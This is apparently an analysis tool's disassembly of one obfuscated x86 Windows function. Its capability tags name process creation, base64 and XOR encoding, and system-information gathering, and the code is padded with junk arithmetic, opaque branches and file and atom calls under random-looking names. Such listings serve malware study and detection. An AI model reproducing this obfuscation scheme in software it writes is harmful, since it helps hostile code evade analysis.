Function at 0x404eb0
Capabilities:
Create process on windows
Encode data using base64
Encode data using xor
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x904
push esi
push edi
mov eax, 0xeb2
mov word [ebp - 0x4ec], ax
movzx ecx, word [ebp - 0x4ec]
cmp ecx, 0x96b
jne 0x404eea
movzx edx, word [ebp - 0x4ec]
sub edx, 0x39b
mov word [ebp - 0x4ec], dx
mov dword [ebp - 0x7b0], 0xd80d
mov byte [ebp - 0x705], 0x6d
mov dword [ebp - 0x830], 0x58c
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 0x7fc
je 0x404f77
cmp dword [ebp - 0x890], 0x6e38
je 0x404f2e
jmp 0x404fb6
movzx ecx, word [ebp - 0x4ec]
add ecx, 0x13e
mov word [ebp - 0x4ec], cx
movzx edx, word [ebp - 0x4ec]
and edx, 0x636
mov word [ebp - 0x4ec], dx
push 0x22
movzx eax, word [ebp - 0x4ec]
push eax
movzx ecx, word [ebp - 0x4ec]
push ecx
push 0x83
call fcn.0040a6c0
add esp, 0x10
jmp 0x404fb6
movzx edx, word [ebp - 0x4ec]
or edx, 0x577
mov word [ebp - 0x4ec], dx
mov eax, dword [ebp - 0x830]
shl eax, 1
mov dword [ebp - 0x830], eax
mov ecx, dword [ebp - 0x830]
push ecx
mov edx, dword [ebp - 0x830]
push edx
mov eax, dword [ebp - 0x830]
push eax
call fcn.00404e70
add esp, 0xc
mov byte [ebp - 0x449], 0x7e
lea ecx, [ebp - 0x705]
mov dword [ebp - 0x528], ecx
mov edx, 0x681
mov word [ebp - 0x71c], dx
mov ax, word [ebp - 0x4ec]
mov word [ebp - 0x834], ax
movsx ecx, word [ebp - 0x71c]
cmp ecx, 0x7e4
je 0x40a684
movsx edx, byte [ebp - 0x705]
sub edx, 0x1c
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
cmp edx, ecx
jg 0x4050b9
mov edx, dword [ebp - 0x830]
mov dword [ebp - 0x894], edx
cmp dword [ebp - 0x894], 0x58c
je 0x40502b
jmp 0x4050a4
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
imul ecx, ecx, 0x31
movsx edx, byte [ebp - 0x705]
cmp ecx, edx
jle 0x405086
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x434], eax
movzx ecx, byte [ebp - 0x449]
sub ecx, 0xb
mov byte [0x41d004], cl
mov dl, byte [ebp - 0x449]
mov byte [ebp - 0x4e1], dl
mov ax, word [ebp - 0x4ec]
mov word [ebp - 0x70c], ax
mov ecx, dword [ebp - 0x830]
mov dword [ebp - 0x52c], ecx
jmp 0x405098
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
add eax, 0x5b
mov byte [ebp - 0x705], al
mov dword [ebp - 0x6cc], 0x1d02
jmp 0x4050b7
lea ecx, [ebp - 0x71c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x3fc], eax
jmp 0x4050e8
movsx edx, byte [ebp - 0x705]
add edx, 0x64
mov eax, dword [ebp - 0x528]
mov byte [eax], dl
mov ecx, dword [ebp - 0x434]
push ecx
mov edx, dword [ebp - 0x52c]
push edx
mov eax, dword [ebp - 0x52c]
push eax
call fcn.00404e70
add esp, 0xc
movzx ecx, word [ebp - 0x70c]
movzx edx, word [ebp - 0x4ec]
sub ecx, edx
mov word [ebp - 0x834], cx
movzx eax, byte [0x41d004]
movzx ecx, byte [ebp - 0x4e1]
xor eax, ecx
mov byte [ebp - 0x449], al
movzx edx, byte [ebp - 0x4e1]
movzx ecx, byte [ebp - 0x449]
shl edx, cl
mov byte [0x41d004], dl
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x705]
or ecx, edx
mov eax, dword [ebp - 0x528]
mov byte [eax], cl
mov edx, dword [ebp - 0x52c]
mov ecx, dword [ebp - 0x434]
sar edx, cl
mov dword [ebp - 0x830], edx
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [0x41d004]
and eax, ecx
mov byte [ebp - 0x4e1], al
mov edx, dword [ebp - 0x434]
add edx, dword [ebp - 0x52c]
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x705]
sub ecx, edx
mov eax, dword [ebp - 0x528]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x449]
movzx edx, byte [0x41d004]
add ecx, edx
mov byte [ebp - 0x4e1], cl
mov eax, dword [ebp - 0x830]
sub eax, dword [ebp - 0x52c]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x7b0]
add ecx, 0x90
mov dword [ebp - 0x7b0], ecx
mov edx, dword [ebp - 0x830]
and edx, dword [ebp - 0x52c]
mov dword [ebp - 0x434], edx
movsx eax, byte [ebp - 0x705]
add eax, 0x33
mov ecx, dword [ebp - 0x528]
mov byte [ecx], al
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x705]
sub eax, ecx
mov edx, dword [ebp - 0x528]
mov byte [edx], al
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [0x41d004]
sub eax, ecx
mov byte [ebp - 0x4e1], al
movzx edx, word [ebp - 0x70c]
movzx eax, word [ebp - 0x4ec]
add edx, eax
mov word [ebp - 0x834], dx
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
sar edx, 5
mov byte [ebp - 0x705], dl
movsx eax, word [ebp - 0x71c]
xor eax, 0x48a
mov word [ebp - 0x71c], ax
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x705]
shl edx, cl
mov eax, dword [ebp - 0x528]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x705]
or ecx, 0x5f
mov edx, dword [ebp - 0x528]
mov byte [edx], cl
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [0x41d004]
and eax, ecx
mov byte [ebp - 0x4e1], al
movzx edx, byte [ebp - 0x4e1]
movzx eax, byte [ebp - 0x449]
sub edx, eax
mov byte [0x41d004], dl
movzx ecx, word [ebp - 0x4ec]
movzx edx, word [ebp - 0x834]
add ecx, edx
mov word [ebp - 0x70c], cx
mov eax, dword [ebp - 0x434]
sub eax, dword [ebp - 0x52c]
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x7b0], 0x10c5d
jb 0x4050e8
mov ecx, dword [ebp - 0x52c]
add ecx, dword [ebp - 0x434]
mov dword [ebp - 0x830], ecx
movzx edx, word [ebp - 0x70c]
mov dword [ebp - 0x898], edx
cmp dword [ebp - 0x898], 0x770
je 0x405395
cmp dword [ebp - 0x898], 0xbc06
je 0x405332
jmp 0x4053d7
movsx eax, byte [ebp - 0x705]
sub eax, 0x6b
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
cmp eax, edx
jle 0x405393
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [0x41d004]
add eax, ecx
mov byte [ebp - 0x4e1], al
movzx edx, word [ebp - 0x834]
movzx eax, word [ebp - 0x70c]
sub edx, eax
mov word [ebp - 0x4ec], dx
mov ecx, dword [ebp - 0x434]
push ecx
mov edx, dword [ebp - 0x52c]
push edx
mov eax, dword [ebp - 0x434]
push eax
call fcn.00404e70
add esp, 0xc
jmp 0x4053d7
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x705]
add edx, eax
mov ecx, dword [ebp - 0x528]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x449]
push edx
movzx eax, word [ebp - 0x70c]
push eax
movzx ecx, word [ebp - 0x834]
push ecx
movzx edx, byte [ebp - 0x449]
push edx
call fcn.0040a6c0
add esp, 0x10
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x3ec], 0x21a
mov edx, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x52c]
sar edx, cl
mov dword [ebp - 0x434], edx
mov ax, word [ebp - 0x70c]
mov word [0x773678], ax
mov dword [ebp - 0x7b8], 0x15e0
mov ecx, dword [ebp - 0x538]
mov dword [ebp - 0x854], ecx
lea edx, [ebp - 0x854]
mov dword [ebp - 0x840], edx
mov ax, word [ebp - 0x71c]
mov word [ebp - 0x53c], ax
lea ecx, [ebp - 0x705]
mov dword [ebp - 0x40c], ecx
mov dl, byte [0x41d004]
mov byte [ebp - 0x7d1], dl
movsx eax, word [ebp - 0x71c]
shl eax, 0x24
movsx ecx, word [ebp - 0x53c]
cmp eax, ecx
jl 0x40a5fc
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x70c]
add edx, eax
mov word [ebp - 0x834], dx
mov dword [ebp - 0x3f8], 0xb692
mov dword [ebp - 0x4b4], 0x962
mov ecx, dword [ebp - 0x830]
mov dword [ebp - 0x408], ecx
cmp dword [ebp - 0x6cc], 0x5998
je 0x40560e
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
add eax, dword [ebp - 0x52c]
mov ecx, dword [ebp - 0x840]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f8]
sub edx, 0x3b48
mov dword [ebp - 0x3f8], edx
movzx eax, byte [ebp - 0x4e1]
movzx ecx, byte [ebp - 0x7d1]
sub eax, ecx
mov byte [ebp - 0x449], al
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x70c]
add edx, eax
mov word [ebp - 0x834], dx
mov ecx, dword [ebp - 0x854]
and ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x840]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6cc]
add eax, 0xeb
mov dword [ebp - 0x6cc], eax
mov ecx, dword [ebp - 0x408]
sub ecx, dword [ebp - 0x538]
mov dword [ebp - 0x52c], ecx
movsx edx, byte [ebp - 0x705]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x528]
mov byte [ecx], dl
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x705], al
movzx edx, byte [ebp - 0x4e1]
movzx eax, byte [ebp - 0x449]
or edx, eax
mov byte [ebp - 0x7d1], dl
movzx ecx, word [ebp - 0x834]
movzx edx, word [ebp - 0x4ec]
xor ecx, edx
mov word [ebp - 0x70c], cx
mov eax, dword [ebp - 0x3f8]
add eax, 0x9f93
mov dword [ebp - 0x3f8], eax
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x705]
and edx, eax
mov ecx, dword [ebp - 0x528]
mov byte [ecx], dl
mov edx, dword [ebp - 0x434]
sub edx, dword [ebp - 0x52c]
mov dword [ebp - 0x408], edx
movzx eax, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x449]
add eax, ecx
mov byte [0x41d004], al
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
sub eax, dword [ebp - 0x830]
mov dword [ebp - 0x408], eax
jmp 0x4054a6
mov ecx, dword [ebp - 0x40c]
mov dl, byte [ecx]
mov byte [ebp - 0x89c], dl
cmp byte [ebp - 0x89c], 0
je 0x405627
jmp 0x40569f
movzx eax, byte [0x41d004]
movzx ecx, byte [ebp - 0x449]
add eax, ecx
mov byte [ebp - 0x7d1], al
movzx edx, word [ebp - 0x834]
movzx eax, word [ebp - 0x4ec]
sub edx, eax
mov word [ebp - 0x70c], dx
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0x838], ecx
lea edx, [ebp - 0x52c]
mov dword [ebp - 0x420], edx
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x4ac], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ecx]
mov dword [ebp - 0x77c], edx
movzx eax, word [ebp - 0x834]
movzx ecx, word [ebp - 0x70c]
add eax, ecx
mov word [ebp - 0x4ec], ax
jmp 0x405706
movzx edx, byte [ebp - 0x4e1]
movzx eax, byte [ebp - 0x449]
sub edx, eax
mov byte [ebp - 0x7d1], dl
mov ecx, dword [ebp - 0x838]
mov edx, dword [ecx]
and edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x838]
mov dword [eax], edx
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x705], dl
mov ecx, dword [ebp - 0x4ec]
call fcn.0040a740
mov ecx, dword [ebp - 0x838]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x77c]
shr edx, cl
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x464], eax
movzx ecx, byte [ebp - 0x7d1]
movzx edx, byte [ebp - 0x4e1]
or ecx, edx
mov byte [ebp - 0x449], cl
movzx eax, word [0x773678]
movzx ecx, word [ebp - 0x834]
cdq
idiv ecx
mov word [ebp - 0x4ec], ax
mov edx, dword [ebp - 0x408]
mov dword [ebp - 0x8a0], edx
cmp dword [ebp - 0x8a0], 0x3eab
je 0x40575a
jmp 0x4057a5
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x420]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x464], edx
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x77c]
add ecx, dword [eax]
mov dword [ebp - 0x3f8], ecx
lea edx, [ebp - 0x834]
push edx
lea eax, [ebp - 0x6dc]
push eax
push 0x98
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0x4bc], eax
jmp 0x4057df
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
mov dword [ebp - 0x798], edx
movsx eax, word [ebp - 0x53c]
movsx ecx, word [ebp - 0x71c]
sub eax, ecx
mov word [0x7725c8], ax
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x840]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x830], ecx
lea edx, [ebp - 0x4e1]
mov dword [ebp - 0x3f0], edx
mov dword [ebp - 0x4b0], 0xde6a
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 0xfffff3e0
je 0x40581b
cmp dword [ebp - 0x8a4], 0xc1d
je 0x405841
jmp 0x405870
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x520], ecx
lea edx, [ebp - 0x77c]
mov dword [ebp - 0x6a4], edx
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x3d8], eax
jmp 0x405870
mov ecx, dword [ebp - 0x798]
add ecx, dword [ebp - 0x3d8]
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
push ecx
mov dx, word [0x7725c8]
mov ecx, dword [ebp - 0x834]
call fcn.00404d90
mov edx, dword [ebp - 0x434]
add edx, dword [ebp - 0x52c]
mov dword [ebp - 0x464], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x840]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x464]
cmp edx, eax
jg 0x40a562
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x4e1]
shl edx, cl
mov byte [ebp - 0x449], dl
mov ax, word [ebp - 0x4ec]
mov word [ebp - 0x440], ax
mov ecx, dword [ebp - 0x77c]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x838]
mov eax, dword [edx]
xor edx, edx
div dword [ebp - 0x3f8]
mov dword [ebp - 0x488], eax
mov al, byte [ebp - 0x449]
mov byte [ebp - 0x435], al
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x70c]
sar edx, cl
mov word [ebp - 0x4ec], dx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
mov dword [ebp - 0x718], ecx
movsx edx, word [ebp - 0x71c]
movsx eax, word [ebp - 0x53c]
xor edx, eax
movsx ecx, word [0x7725c8]
cmp edx, ecx
jne 0x405a48
lea edx, [ebp - 0x440]
mov dword [0x773670], edx
mov al, byte [ebp - 0x705]
mov byte [ebp - 0x8a8], al
cmp byte [ebp - 0x8a8], 0
je 0x405973
cmp byte [ebp - 0x8a8], 0x15
je 0x405a25
jmp 0x405a46
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
mov eax, dword [0x773670]
movzx ecx, word [eax]
imul edx, ecx
movzx eax, word [ebp - 0x440]
movzx ecx, word [ebp - 0x834]
add eax, ecx
cmp edx, eax
jle 0x405a23
lea edx, [ebp - 0x77c]
mov dword [ebp - 0x69c], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x840]
add ecx, dword [edx]
mov dword [ebp - 0x464], ecx
movzx eax, word [ebp - 0x70c]
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 0xcad
je 0x4059dc
jmp 0x405a23
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x408], eax
movzx ecx, byte [ebp - 0x7d1]
movzx edx, byte [ebp - 0x449]
sub ecx, edx
mov eax, dword [ebp - 0x3f0]
mov byte [eax], cl
movzx ecx, word [ebp - 0x70c]
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x440], cx
jmp 0x405a46
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x798]
push edx
call fcn.00404e70
add esp, 0xc
jmp 0x405a9d
movzx eax, word [ebp - 0x70c]
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
or eax, edx
movzx ecx, word [ebp - 0x440]
movzx edx, word [ebp - 0x4ec]
and ecx, edx
cmp eax, ecx
jne 0x405a9d
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x4ac]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x840]
mov dword [ecx], eax
call fcn.0040a6f0
lea edx, [ebp - 0x705]
mov dword [ebp - 0x778], edx
mov eax, dword [ebp - 0x3f0]
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x449]
add edx, eax
movzx eax, byte [ebp - 0x4e1]
movzx ecx, byte [ebp - 0x7d1]
sar eax, cl
cmp edx, eax
jle 0x405b04
movsx edx, word [ebp - 0x71c]
movsx ecx, word [ebp - 0x53c]
shl edx, cl
mov word [0x7725c8], dx
movzx eax, word [ebp - 0x70c]
mov ecx, dword [0x773670]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x4ec], ax
call fcn.00404d50
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [ebp - 0x4e1]
xor eax, ecx
mov byte [ebp - 0x7d1], al
push 0
push 0x20
push 1
push 0
push 2
push 0x40000000
push str.dGNDF8FhUiSHpIFP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x468], eax
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 0
je 0x405b56
jmp 0x40a44c
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
mov dword [ebp - 0x6b0], edx
mov eax, dword [ebp - 0x520]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x440]
sar edx, cl
mov eax, dword [ebp - 0x520]
mov word [eax], dx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4e1]
xor edx, eax
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x705], al
movsx eax, word [ebp - 0x71c]
movsx ecx, word [0x7725c8]
shl eax, cl
mov word [ebp - 0x53c], ax
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x7d1]
and edx, eax
mov byte [0x41d004], dl
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
add edx, dword [ebp - 0x538]
mov dword [ebp - 0x6b0], edx
movzx eax, byte [ebp - 0x7d1]
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x449], al
movzx eax, word [ebp - 0x70c]
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x834], ax
mov eax, dword [ebp - 0x69c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x488]
mov dword [ebp - 0x3f8], ecx
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
add eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
and edx, dword [ebp - 0x854]
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x77c]
sub eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x7d1]
add edx, eax
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], dl
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x70c]
sub edx, eax
mov word [0x773678], dx
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x4ac]
or edx, dword [ecx]
mov dword [ebp - 0x52c], edx
mov eax, dword [ebp - 0x4b0]
add eax, 0x54
mov dword [ebp - 0x4b0], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x420]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x830], eax
mov edx, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x77c]
shr edx, cl
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x840]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x408], edx
mov eax, dword [ebp - 0x718]
and eax, dword [ebp - 0x798]
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4e1]
add edx, eax
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x778]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x705], al
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x449]
add ecx, edx
mov byte [ebp - 0x4e1], cl
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
mov edx, dword [0x773670]
movzx eax, word [edx]
sub ecx, eax
mov word [0x773678], cx
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x77c]
sub edx, dword [ecx]
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x6b0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x840]
mov dword [edx], ecx
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x834]
and ecx, edx
mov word [ebp - 0x70c], cx
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x7d1]
add ecx, edx
mov byte [ebp - 0x4e1], cl
cmp dword [ebp - 0x4b0], 0xf8fe
jb 0x405b64
mov eax, dword [ebp - 0x77c]
xor eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
mov dword [ebp - 0x454], edx
lea eax, [ebp - 0x538]
mov dword [ebp - 0x6bc], eax
mov ecx, dword [ebp - 0x77c]
or ecx, dword [ebp - 0x488]
mov edx, dword [ebp - 0x838]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x838]
mov eax, dword [ebp - 0x488]
xor edx, edx
div dword [ecx]
mov dword [0x7725cc], eax
push str.XtHSGQnE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x490], ax
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x449]
sar eax, cl
mov byte [ebp - 0x435], al
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x70c]
shl edx, cl
mov eax, dword [0x773670]
movzx ecx, word [eax]
movzx eax, word [ebp - 0x834]
add ecx, eax
cmp edx, ecx
jle 0x405edb
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
mov eax, dword [0x773670]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x520]
mov word [eax], dx
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x6bc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x464]
add edx, dword [ecx]
mov dword [ebp - 0x538], edx
movsx eax, word [ebp - 0x71c]
movsx ecx, word [ebp - 0x53c]
sub eax, ecx
movsx edx, word [0x7725c8]
cmp eax, edx
jl 0x40a34c
lea eax, [ebp - 0x830]
mov dword [ebp - 0x448], eax
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
mov eax, dword [0x773670]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x70c], dx
lea edx, [ebp - 0x435]
mov dword [ebp - 0x4a0], edx
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x6fc], eax
mov ecx, dword [ebp - 0x798]
and ecx, dword [ebp - 0x6b0]
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6bc]
add ecx, dword [edx]
mov eax, dword [ebp - 0x798]
sub eax, dword [ebp - 0x52c]
cmp ecx, eax
jl 0x405f9e
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x464]
mov eax, dword [ebp - 0x448]
mov dword [eax], edx
mov cl, byte [ebp - 0x705]
mov byte [0x773669], cl
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
mov dword [ebp - 0x46c], eax
jmp 0x406019
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ebp - 0x3f8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x838]
add ecx, dword [eax]
cmp edx, ecx
jb 0x406019
movzx ecx, word [ebp - 0x70c]
mov edx, dword [0x773670]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x4ec], cx
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x435], dl
movsx edx, byte [ebp - 0x705]
movsx eax, byte [0x773669]
add edx, eax
mov ecx, dword [ebp - 0x778]
mov byte [ecx], dl
mov edx, dword [ebp - 0x520]
mov cx, word [edx]
call fcn.0040a740
lea eax, [ebp - 0x71c]
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x52c]
shl edx, cl
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x718]
sar eax, cl
cmp edx, eax
jle 0x406111
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x6a4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x52c], eax
movzx ecx, byte [ebp - 0x449]
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4e1], cl
push 0x1c
lea ecx, [ebp - 0x810]
push ecx
mov edx, dword [ebp - 0x7cc]
push edx
mov eax, dword [ebp - 0x47c]
push eax
mov ecx, dword [ebp - 0x48c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x760], eax
movzx edx, word [ebp - 0x834]
movzx eax, word [ebp - 0x440]
and edx, eax
mov ecx, dword [0x773670]
mov word [ecx], dx
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x440]
push ecx
call fcn.00404e30
mov edx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x464]
add eax, dword [edx]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x3f8]
add ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x77c], ecx
jmp 0x406147
mov edx, dword [ebp - 0x6b0]
sub edx, dword [ebp - 0x798]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x828], eax
lea ecx, [ebp - 0x449]
mov dword [ebp - 0x7c4], ecx
lea edx, [ebp - 0x440]
mov dword [ebp - 0x850], edx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x488]
mov edx, dword [ebp - 0x838]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [ebp - 0x420]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x6b0], edx
movzx eax, byte [ebp - 0x4e1]
